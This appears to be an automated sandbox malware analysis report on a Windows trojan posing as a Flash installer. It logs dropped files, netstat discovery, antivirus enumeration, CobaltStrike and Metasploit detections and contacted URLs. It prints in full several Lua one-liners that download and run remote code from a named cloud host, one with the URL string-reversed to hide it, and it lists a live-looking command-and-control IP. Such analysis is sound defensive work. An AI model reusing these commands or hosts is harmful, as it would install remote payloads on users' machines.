Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\_securetransport\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\backports\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\ssl_match_hostname\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\data\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\packaging\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32com\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\
Source: C:\ProgramData\lua\lua.exe	Process created: unknown unknown
Source: C:\ProgramData\lua\lua.exe	Process created: unknown unknown
Source: C:\ProgramData\lua\lua.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:

Source: unknown	Process created: C:\ProgramData\lua\luac.exe C:\ProgramData\lua\luac.exe -e 'code = \'local http=require('socket.http');\'..\'local response_body = {}\'..\'local res, code = http.request({\'..\' url = string.reverse('aul.344-SC-1/68x/moc.scnuyila.gnokgnoh-nc-sso.sbilaul//:ptth'),\'..\' sink = ltn12.sink.table(response_body)\'..\'})\'..\'if type(response_body) == 'table' then\'..\' loadstring(table.concat(response_body))()\'..\'else\'..\' print('error')\'..\'end\';loadstring(code)();'
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C %ProgramData%\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\lua\lua.exe C:\ProgramData\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C %ProgramData%\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\lua\lua.exe C:\ProgramData\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'

Language, Device and Operating System Detection:

Source: C:\ProgramData\lua\luac.exe

Code function: 2_2_005E4B49 cpuid

2_2_005E4B49

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\Users\user\AppData\Roaming VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\ProgramData\lua\alien VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\ProgramData\lua VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\ProgramData\lua\lua VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\ProgramData\lua\lua\socket VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\ProgramData\lua\mime VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\ProgramData\lua\socket VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\lua.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\lua.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\lua\lua.exe	Queries volume information: C:\Windows\Temp\2021-07-13-14-37-50.zip VolumeInformation

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Code function: 1_2_00007FF6566DF27A GetSystemTimePreciseAsFileTime,

1_2_00007FF6566DF27A

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Code function: 1_2_00007FF6566DF3CB SystemTimeToTzSpecificLocalTime,SystemTimeToFileTime,GetTimeZoneInformation,

1_2_00007FF6566DF3CB

Lowering of HIPS / PFW / Operating System Security Settings:

Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : SELECT displayName FROM antivirusproduct
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : SELECT displayName FROM antivirusproduct

Stealing of Sensitive Information:

Gathers network related connection and port information

Show sources

Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano	Jump to behavior
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano

Remote Access Functionality:

Yara detected CobaltStrike

Show sources

Source: Yara match

File source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY

Yara detected CobaltStrike

Show sources

Source: Yara match	File source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY

Yara detected Metasploit Payload

Show sources

Source: Yara match	File source: 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.472020720.0000000000A10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.470374436.000000000061A000.00000004.00000020.sdmp, type: MEMORY

Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_005942F0 bind,WSAGetLastError,		2_2_005942F0
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_00594330 listen,WSAGetLastError,		2_2_00594330

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	OS Credential Dumping	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	DLL Search Order Hijacking2	DLL Search Order Hijacking2	Deobfuscate/Decode Files or Information1	LSASS Memory	System Network Connections Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Scheduled Task/Job1	Process Injection11	Obfuscated Files or Information2	Security Account Manager	System Information Discovery23	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Scheduled Task/Job1	Logon Script (Mac)	Scheduled Task/Job1	Software Packing1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol114	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Security Software Discovery41	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Search Order Hijacking2	Cached Domain Credentials	Virtualization/Sandbox Evasion2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Masquerading11	DCSync	Process Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion2	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection11	/etc/passwd and /etc/shadow	System Network Configuration Discovery2	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
8v4iWYLvKJ.exe	29%	Virustotal		Browse
8v4iWYLvKJ.exe	3%	Metadefender		Browse
8v4iWYLvKJ.exe	15%	ReversingLabs	Win64.Trojan.Cometer

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\ShellExperienceHost\API-MS-Win-core-file-l2-1-0.dll	0%	Metadefender	Browse
C:\ProgramData\ShellExperienceHost\API-MS-Win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\AES.py	0%	ReversingLabs
C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\AES.pyi	0%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
https://www.flash.cn/ueipenglish/index.html	0%	Avira URL Cloud	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://45.154.13.94/F8JD2R	0%	Avira URL Cloud	safe
https://www.flash.cn/cdm	0%	Avira URL Cloud	safe
https://static.flash.cn/frontend/official/adobe_flash_helper_agreement.pdf)Xs_sess=%20s_sq%3D%3B;	0%	Avira URL Cloud	safe
https://45.154.13.94/updatesK	0%	Avira URL Cloud	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
https://www.flash.cn/help/article/article.php?id=135	0%	Avira URL Cloud	safe
http://crl.digicert-cn.com/GeoTrustCNRSACAG1.crt0	0%	Avira URL Cloud	safe
https://www.flash.cn/cdm/icons/flash125.png	0%	Avira URL Cloud	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
https://45.154.13.94/updatesMy	0%	Avira URL Cloud	safe
http://cgi.search.biglobe.ne.jp/favicon.ico	0%	Avira URL Cloud	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://127.0.0.1:	0%	Avira URL Cloud	safe
https://45.154.13.94/updatesem32	0%	Avira URL Cloud	safe
https://www.flash.cn/category/user/agreement	0%	Avira URL Cloud	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
https://api.flash.cn/config/getCdnValue?key=zero_dayzero_dayS-%d-%disGroupAdmin	0%	Avira URL Cloud	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
https://45.154.13.94/updatesl	0%	Avira URL Cloud	safe
https://www.flash.cn/cdm/ic~	0%	Avira URL Cloud	safe
https://static.flash.cn/frontend/official/adobe_flash_helper_agreement.pdf	0%	Avira URL Cloud	safe
http://www.ozu.es/favicon.ico	0%	URL Reputation	safe
http://www.ozu.es/favicon.ico	0%	URL Reputation	safe
http://www.ozu.es/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://crl3.digi	0%	Avira URL Cloud	safe
https://www.flash.cn/flashplayer/3400175/flashplayerax_3400175.xml	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
eu-central-1.oss-acc.aliyuncs.com	47.254.186.176	true	false	high
36d6250d.tweb.sched.ovscdns.com	211.152.136.41	true	false	unknown
lualibs.oss-cn-hongkong.aliyuncs.com	47.75.19.154	true	false	high
adobe.com.d1.sc.omtrdc.net	15.236.176.210	true	false	unknown
36d6250f.tweb.sched.ovscdns.com	211.152.136.90	true	false	unknown
api.flash.cn	unknown	unknown	false	unknown
www.flash.cn	unknown	unknown	false	unknown
softres.oss-accelerate.aliyuncs.com	unknown	unknown	false	high
lualibs.oss-accelerate.aliyuncs.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.154.13.94/F8JD2R	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://search.chol.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.mercadolivre.com.br/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.merlin.com.pl/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.de/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
https://www.flash.cn/ueipenglish/index.html	Flash.exe, 00000004.00000002.479170637.0000000005100000.00000004.00000040.sdmp, Flash.exe, 00000004.00000003.235611029.00000000052F5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mtv.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.rambler.ru/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.nifty.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.dailymail.co.uk/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www3.fnac.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://buscar.ya.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.yahoo.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://www.sogou.com/favicon.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
https://www.flash.cn/cdm	Flash.exe, 00000004.00000002.482580825.0000000008E74000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	Flash.exe, 00000004.00000002.483340061.0000000009166000.00000002.00000001.sdmp	false		high
https://static.flash.cn/frontend/official/adobe_flash_helper_agreement.pdf)Xs_sess=%20s_sq%3D%3B;	Flash.exe, 00000004.00000002.481792809.0000000006AC1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://asp.usatoday.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
https://45.154.13.94/updatesK	luac.exe, 00000002.00000002.471450397.00000000006FA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://fr.search.yahoo.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://rover.ebay.com	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://in.search.yahoo.com/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://softres.oss-accelerate.aliyuncs.com/flashplayerpp_ax_install_cn_fc.exe	8v4iWYLvKJ.exe, 00000001.00000000.199882317.00007FF6567BE000.00000002.00020000.sdmp, 8v4iWYLvKJ.exe, 00000001.00000003.204019773.0000020BF54DB000.00000004.00000001.sdmp	false		high
http://img.shopzilla.com/shopzilla/shopzilla.ico	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
http://search.ebay.in/	Flash.exe, 00000004.00000002.480133020.0000000005AD3000.00000002.00000001.sdmp	false		high
